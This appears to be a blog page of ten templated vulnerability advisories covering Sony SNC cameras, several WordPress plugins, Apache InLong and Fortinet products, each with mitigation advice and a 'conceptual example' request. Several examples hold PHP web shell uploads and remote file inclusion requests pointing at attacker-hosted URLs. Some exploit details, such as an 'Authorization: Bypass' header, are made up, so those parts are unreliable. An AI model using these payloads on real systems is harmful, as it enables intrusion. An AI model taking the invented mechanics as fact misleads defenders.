Author: Ameeba

  • CVE-2025-5124: Critical Vulnerability in Sony’s SNC Series Cameras due to Use of Default Credentials

    Overview

    The cybersecurity landscape is riddled with vulnerabilities and exposures that can be exploited by threat actors. Among these is CVE-2025-5124, a critical vulnerability discovered in Sony’s SNC series cameras. This vulnerability, which affects the Administrative Interface of the devices, could lead to potential system compromise or data leakage if not addressed promptly. The issue lies in the use of default credentials, allowing attackers to gain unauthorized access to the system if they can overcome the high complexity of the attack.
    Given the potential impact and the large number of devices affected, this vulnerability warrants attention from security administrators, device owners, and other stakeholders. Sony has acknowledged the issue and published a ‘Hardening Guide’ to help users secure their devices. However, given that the exploit has been disclosed to the public, it’s more critical than ever to understand and mitigate this vulnerability.

    Vulnerability Summary

    CVE ID: CVE-2025-5124
    Severity: Critical (CVSS 8.1)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Sony SNC-M1 | up to 1.30
    Sony SNC-M3 | up to 1.30
    Sony SNC-RZ25N | up to 1.30
    Sony SNC-RZ30N | up to 1.30
    Sony SNC-DS10 | up to 1.30
    Sony SNC-CS3N | up to 1.30
    Sony SNC-RX570N | up to 1.30

    How the Exploit Works

    The vulnerability is rooted in the use of default credentials in the Administrative Interface component of the affected devices. The default credentials can be manipulated by potential attackers to gain unauthorized access to the system. The complexity of the attack is high, indicating that the attacker would need to have a sophisticated understanding of the system and the vulnerability itself to exploit it successfully. However, the fact that no user interaction is required and that the vulnerability can be exploited remotely raises the potential risk.

    Conceptual Example Code

    While no specific exploit code has been disclosed publicly, a conceptual example of exploiting this vulnerability might involve sending a malicious HTTP request to the device’s administrative interface. This could look something like:

    GET /admin HTTP/1.1
    Host: target-device-ip
    Authorization: Basic [base64 encoded default credentials]

    In this conceptual example, the attacker sends a GET request to the /admin endpoint of the target device, using the default credentials encoded in Base64 format. If successful, the attacker would gain unauthorized access to the device’s administrative interface.

  • CVE-2025-4336: Arbitrary File Upload Vulnerability in eMagicOne Store Manager for WooCommerce Plugin

    Overview

    This blog post aims to shed light on a critical vulnerability found in the eMagicOne Store Manager for WooCommerce plugin for WordPress. The vulnerability, identified as CVE-2025-4336, enables unauthenticated attackers to upload arbitrary files on the server of the affected site. This is a serious concern as it potentially opens up avenues for remote code execution, leading to systemic compromise or data leakage. Any organization using versions up to, and including, 1.2.5 of this plugin is at risk and should take immediate action.

    Vulnerability Summary

    CVE ID: CVE-2025-4336
    Severity: High (8.1 CVSS score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, data leakage

    Affected Products

    Product | Affected Versions

    eMagicOne Store Manager for WooCommerce (WordPress plugin) | ≤ 1.2.5

    How the Exploit Works

    The vulnerability arises due to insufficient file type validation in the set_file() function of the eMagicOne Store Manager for WooCommerce plugin. This flaw allows an attacker to upload arbitrary files to the server hosting the affected website.
    In default configurations where the password is left as 1:1 or in scenarios where the attacker has obtained valid credentials, the vulnerability can be exploited by unauthenticated attackers. This can potentially lead to remote code execution, allowing the attacker to execute arbitrary commands on the server and gain control over it.

    Conceptual Example Code

    Below is a hypothetical HTTP request an attacker might use to exploit the vulnerability:

    POST /wp-content/plugins/woocommerce-store-manager/api.php HTTP/1.1
    Host: targetsite.com
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    ----WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="file"; filename="malicious.php"
    Content-Type: application/x-php
    <?php system($_GET['cmd']); ?>
    ----WebKitFormBoundary7MA4YWxkTrZu0gW--

    In this example, the attacker attempts to upload a PHP file that, if executed on the server, would allow them to run arbitrary commands through the ‘cmd’ GET parameter.

    Mitigation

    The recommended mitigation strategy is to apply the vendor patch. For users who are unable to immediately apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
    Remember, the best defense against vulnerabilities like CVE-2025-4336 is a proactive security posture. Regularly patch and update your systems, perform comprehensive security audits, and train your staff to recognize potential security threats.

  • CVE-2025-47453: PHP Remote File Inclusion Vulnerability in Xylus Themes WP Smart Import

    Overview

    The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant security vulnerability, labelled CVE-2025-47453, which poses a serious threat to Xylus Themes WP Smart Import users. This vulnerability stems from an improper control of filename for Include/Require Statement in PHP Program, also known as a PHP Remote File Inclusion vulnerability. The severity of the issue is intensified by the fact that it allows for PHP Local File Inclusion, increasing the potential impact on the affected systems. It’s crucial for users and administrators to understand the implications of this vulnerability, its mechanisms, and the remediation steps required to secure their systems.

    Vulnerability Summary

    CVE ID: CVE-2025-47453
    Severity: High (8.1 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise, potential data leakage

    Affected Products

    Product | Affected Versions

    Xylus Themes WP Smart Import | n/a – 1.1.3

    How the Exploit Works

    This vulnerability arises from the misuse of ‘include’ or ‘require’ statements in PHP, which can allow an attacker to load remote files that contain malicious code. The improper control of filename for these statements in the Xylus Themes WP Smart Import plugin enables an attacker to exploit the system by manipulating the file paths, ultimately leading to unauthorised code execution.

    Conceptual Example Code

    Here’s a conceptual example of how the vulnerability might be exploited:

    GET /path-to-vulnerable-plugin/?parameter=http://malicious-site.com/malicious-file.txt HTTP/1.1
    Host: target-site.com

    In the above example, the attacker uses a GET request to the vulnerable plugin and manipulates the parameter value to include a malicious file from a remote server.

    Mitigation Guidance

    The recommended mitigation strategy for this vulnerability is to apply the vendor patch as soon as it becomes available. As a temporary mitigation measure, users can implement Web Application Firewall (WAF) or Intrusion Detection Systems (IDS) to detect and prevent any potential attacks. It’s also advisable to regularly update and patch your systems, and monitor any suspicious activities.

  • CVE-2025-47438: PHP Remote File Inclusion Vulnerability in WP Job Portal

    Overview

    This blog post delves into the technical details of the CVE-2025-47438 vulnerability-a critical PHP Remote File Inclusion (RFI) flaw that has been identified in the WP Job Portal. This vulnerability affects all versions of the portal up to and including 2.3.1. RFI vulnerabilities pose serious security threats as they provide an avenue for an attacker to execute arbitrary PHP code on the target system, potentially leading to system compromise or data leakage. This issue is particularly significant, given the widespread use of the WP Job Portal in businesses.

    Vulnerability Summary

    CVE ID: CVE-2025-47438
    Severity: High (8.1 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    WP Job Portal | Up to and including 2.3.1

    How the Exploit Works

    The vulnerability stems from the improper control of filename for include/require statement in the PHP program of wpjobportal. An attacker can manipulate this flaw by inducing a PHP file from a remote server. This file can contain malicious code, which when executed, could lead to the compromise of the system or potential data leakage.

    Conceptual Example Code

    Here is a conceptual example showing how this vulnerability might be exploited using a HTTP request. Please note this is a generic example and the real-world application may vary.

    GET /index.php?page=http://attacker.com/malicious.php HTTP/1.1
    Host: vulnerable-website.com

    In this HTTP request, the attacker attempts to include ‘malicious.php’ from their server. If the server processes this request, it could lead to the execution of arbitrary PHP code hosted on the attacker’s server.

    Mitigation Guidance

    The primary method of resolving this vulnerability is by applying patches provided by the vendor. If patches are not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can potentially detect and block attempts to exploit this vulnerability. Furthermore, input validation techniques should be employed to prevent the inclusion of files from untrusted sources.

  • CVE-2025-46474: PHP Remote File Inclusion Vulnerability in SEUR OFICIAL

    Overview

    The cybersecurity landscape is continuously evolving, with new vulnerabilities being discovered almost daily. One such vulnerability is CVE-2025-46474, a PHP Remote File Inclusion vulnerability found in SEUR OFICIAL. This vulnerability affects SEUR OFICIAL versions up to 2.2.23. It’s a severe issue, scoring an 8.1 on the Common Vulnerability Scoring System (CVSS), a standardized method for rating IT vulnerabilities. If exploited, this vulnerability could lead to system compromise or data leakage, posing a significant threat to the security of affected systems.

    Vulnerability Summary

    CVE ID: CVE-2025-46474
    Severity: High (8.1 on the CVSS scale)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    SEUR OFICIAL | Up to 2.2.23

    How the Exploit Works

    The vulnerability resides in the improper control of filename for Include/Require statement in PHP Program. An attacker can exploit this vulnerability by sending a specially crafted HTTP request that includes a malicious file from a remote server. The attacker-controlled file is included and executed in the context of the application, leading to remote code execution.

    Conceptual Example Code

    Below is a conceptual example of how this vulnerability might be exploited. In this example, the attacker crafts a POST request to the vulnerable endpoint, including a malicious payload in the form of a remote file path.

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "include_file": "http://attacker.com/malicious_file.php" }

    In this example, `http://attacker.com/malicious_file.php` is a PHP file controlled by the attacker, containing malicious code. When the server processes this request, it includes and executes the malicious file, leading to a potential system compromise or data leakage.

    Mitigation

    To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can help to detect and block attempts to exploit this vulnerability. Besides, it is good practice to avoid using user-controllable input without proper validation in Include/Require statements in PHP programs.

  • CVE-2025-46444: Improper Control of Filename Vulnerability in Ads Pro Plugin

    Overview

    This blog post aims to provide an in-depth understanding of the CVE-2025-46444 vulnerability. This security flaw is associated with the Ads Pro Plugin for scripteo, a plugin predominantly used for managing and selling advertising spaces. The vulnerability arises from an improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’). Owing to this, the plugin allows PHP Local File Inclusion, potentially leading to system compromise or data leakage. The vulnerability is particularly critical to businesses and organizations that use the Ads Pro Plugin for their advertising needs, as it can lead to unauthorized access and potential exploitation of sensitive data.

    Vulnerability Summary

    CVE ID: CVE-2025-46444
    Severity: High (8.1 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System Compromise and Data Leakage

    Affected Products

    Product | Affected Versions

    Ads Pro Plugin | n/a through 4.88

    How the Exploit Works

    The vulnerability arises due to the improper control of the filename for Include/Require Statement in the PHP Program. It is related to a ‘PHP Remote File Inclusion‘ (RFI) scenario, wherein an attacker can inject a file from a remote server. The flaw is a result of the inability of the application to properly sanitize user-supplied input. As a result, an attacker could manipulate the filename argument to reference a file on a remote server, leading to local file inclusion (LFI). This could allow the attacker to execute arbitrary code, potentially compromising the system and causing data leakage.

    Conceptual Example Code

    Below is a conceptual example of how an attacker might exploit this vulnerability:

    GET /path/to/vulnerable/script.php?filename=http://malicious.com/malicious_code.txt HTTP/1.1
    Host: target.example.com

    In this example, the attacker is attempting to exploit the RFI vulnerability in `script.php` by supplying a malicious filename argument. This filename argument (`http://malicious.com/malicious_code.txt`) is a URL that points to a file hosted on the attacker’s server. If the application fails to sanitize this input correctly, it could result in the inclusion and execution of the malicious code within the context of the application.

    Mitigation Guidance

    The most effective solution to this vulnerability is to apply the vendor-supplied patch. For those who are unable to apply the patch immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can help to detect and block suspicious and malicious activity, thereby reducing the potential impact of the vulnerability. However, these should only be considered as temporary solutions, and it is strongly recommended to apply the vendor patch as soon as possible to ensure comprehensive protection.

  • CVE-2025-4800: Arbitrary File Upload Vulnerability in MasterStudy LMS Pro Plugin for WordPress

    Overview

    The cybersecurity landscape is riddled with vulnerabilities that can pose serious threats to systems and data. One such vulnerability, identified as CVE-2025-4800, resides in the MasterStudy LMS Pro plugin for WordPress. This widely used plugin is susceptible to arbitrary file uploads due to a lack of file type validation in the stm_lms_add_assignment_attachment function. This vulnerability is particularly concerning due to the potential for remote code execution, which could compromise systems and lead to data leakage.
    WordPress plugins, like MasterStudy LMS Pro, are commonly used to add functionality to websites. However, they can also introduce vulnerabilities that attackers can exploit. The impact of such attacks can be severe, especially when they involve popular plugins used by a large number of websites.

    Vulnerability Summary

    CVE ID: CVE-2025-4800
    Severity: High (CVSS 8.8)
    Attack Vector: Network
    Privileges Required: Low (Subscriber-level access)
    User Interaction: Required
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    MasterStudy LMS Pro for WordPress | Up to and including 4.7.0

    How the Exploit Works

    An attacker with Subscriber-level access could exploit this vulnerability by uploading an arbitrary file to the server using the stm_lms_add_assignment_attachment function. This function lacks sufficient file type validation, allowing for the upload of files that could permit remote code execution. With this capability, an attacker could potentially gain unauthorized access to the system, modify system configurations, or download sensitive data.

    Conceptual Example Code

    The following pseudocode illustrates the potential exploitation of this vulnerability. In this example, a malicious user uploads a PHP shell script, which could allow for remote code execution.

    POST /wp-content/plugins/masterstudy-lms-learning-management-system-pro/stm-lms-templates/assignments/add_file.php HTTP/1.1
    Host: target.example.com
    Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e
    --------------------------d74496d66958873e
    Content-Disposition: form-data; name="file"; filename="shell.php"
    Content-Type: application/x-php
    <?php system($_GET["cmd"]); ?>
    --------------------------d74496d66958873e--

    In this conceptual example, the attacker uploads a PHP file named “shell.php” that accepts a “cmd” URL parameter for executing system commands. Once the file is uploaded and executed, the attacker could potentially perform any command on the system that the web server has privileges to execute.

    Mitigation Guidance

    To mitigate this vulnerability, users of the affected plugin should apply the patch provided by the vendor as soon as possible. In the interim, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation measures. These tools can help to detect and block attempts to exploit this vulnerability.

  • CVE-2025-27528: Deserialization of Untrusted Data Vulnerability in Apache InLong

    Overview

    Apache InLong, a widely used data integration tool, has been found to possess a significant security vulnerability identified as CVE-2025-27528. This vulnerability stems from deserialization of untrusted data in Apache InLong which can potentially lead to system compromise or data leakage. The severity of the issue is further emphasized by its high CVSS score of 9.1. The vulnerability affects versions from 1.13.0 through 2.1.0 of Apache InLong and poses a serious threat to the integrity and security of systems utilizing these versions.

    Vulnerability Summary

    CVE ID: CVE-2025-27528
    Severity: Critical (9.1 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    Apache InLong | 1.13.0 – 2.1.0

    How the Exploit Works

    The vulnerability arises from the deserialization of untrusted data in Apache InLong, specifically affecting the InLong JDBC. An attacker can exploit this by sending specially crafted data that, when deserialized, bypasses security mechanisms and enables arbitrary file reading. This could potentially allow an attacker to read sensitive data or execute malicious code leading to system compromise or data leakage.

    Conceptual Example Code

    Here is a conceptual example of a malicious payload that could be used to exploit this vulnerability:

    POST /inlong/jdbc HTTP/1.1
    Host: target.example.com
    Content-Type: application/octet-stream
    { "serialized_object": "base64-encoded-serialized-object" }

    In the example above, the `serialized_object` field contains a base64-encoded serialized object that, when deserialized by the vulnerable Apache InLong JDBC, could lead to arbitrary file reading or execution of malicious code.

    Mitigation

    Users are strongly advised to upgrade to Apache InLong’s 2.2.0 or cherry-pick the fix from https://github.com/apache/inlong/pull/11747 to solve it. As a temporary mitigation, users can also apply a vendor patch or use Web Application Firewall (WAF) or Intrusion Detection Systems (IDS). However, these are not long-term solutions and upgrading to a fixed version is strongly recommended.

  • CVE-2025-22252: Critical Authentication Bypass Vulnerability in Fortinet Products

    Overview

    The Common Vulnerabilities and Exposures (CVE) identifier CVE-2025-22252 refers to a critical security vulnerability present in particular versions of Fortinet’s FortiProxy, FortiSwitchManager, and FortiOS. The vulnerability, which involves a missing authentication for a critical function, can potentially lead to system compromise and data leakage. Such a flaw could allow an attacker with knowledge of an existing admin account to bypass authentication and gain unauthorized access to the device as a valid administrator. This blog post aims to provide a comprehensive analysis of this vulnerability, its potential impacts, and the steps necessary to mitigate the threat.

    Vulnerability Summary

    CVE ID: CVE-2025-22252
    Severity: Critical (9.8 CVSS score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Unauthorized access, potential system compromise, and data leakage

    Affected Products

    Product | Affected Versions

    Fortinet FortiProxy | 7.6.0 to 7.6.1
    Fortinet FortiSwitchManager | 7.2.5
    Fortinet FortiOS | 7.4.4 to 7.4.6, 7.6.0

    How the Exploit Works

    The vulnerability stems from a flaw in the authentication mechanism of the affected products. This flaw allows an attacker who has knowledge of an existing admin account to bypass the authentication process and gain access to the device as a legitimate administrator. The attacker can then execute any command with administrative privileges, potentially leading to a full system compromise or data leakage.

    Conceptual Example Code

    The following is a conceptual example of how an attacker might exploit this vulnerability. This might involve sending a specially crafted HTTP request to the target device:

    GET /admin/login HTTP/1.1
    Host: targetdevice.example.com
    Authorization: Bypass
    { "username": "existing_admin_username" }

    In this example, the attacker uses a known admin username and the ‘Bypass’ authorization method to trick the system into granting them administrative access.
    Please note, the above code is purely conceptual and serves to illustrate the potential attack vector. It does not represent a real exploit.

    Mitigation

    Users of vulnerable versions of Fortinet FortiProxy, FortiSwitchManager, and FortiOS are advised to apply the vendor patch as soon as possible. As a temporary mitigation, users can also deploy a web application firewall (WAF) or intrusion detection system (IDS) to help detect and block attempts to exploit this vulnerability. However, these are not long-term solutions and do not replace the need for patching.

  • CVE-2025-39506: PHP Remote File Inclusion Vulnerability in NasaTheme Nasa Core

    Overview

    The CVE-2025-39506 vulnerability, discovered in NasaTheme’s Nasa Core, is a critical flaw that could potentially lead to system compromise or data leakage. As a PHP Remote File Inclusion vulnerability, it allows malicious actors to inject and execute their scripts remotely, which can have severe implications for both the integrity of the system and the confidentiality of the data it contains. This vulnerability primarily affects all versions of Nasa Core up to 6.3.2.

    Vulnerability Summary

    CVE ID: CVE-2025-39506
    Severity: High (8.1 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    NasaTheme Nasa Core | Up to 6.3.2

    How the Exploit Works

    The CVE-2025-39506 vulnerability originates from the improper control of filename for include/require statement in the PHP program of NasaTheme’s Nasa Core. This flaw allows an attacker to include files from external servers and have them executed in the context of the web application. This opens up the potential for malicious actors to execute arbitrary PHP code remotely, leading to a full system compromise if the attacker’s scripts are run with high privileges.

    Conceptual Example Code

    Here’s a conceptual example of how this vulnerability might be exploited:

    GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
    Host: vulnerable-site.com

    In the above request, the attacker manipulates the ‘page’ parameter to include a PHP file from their server (`attacker.com`). The `malicious_script.txt` file could contain arbitrary PHP code, which is executed when the page is loaded.

    Workarounds and Mitigation

    While the vendor is expected to release a patch to address this vulnerability, users can temporarily mitigate the risk by implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) that can identify and block attempts to exploit this vulnerability. Regularly updating and patching systems can also help reduce the likelihood of this vulnerability being exploited.

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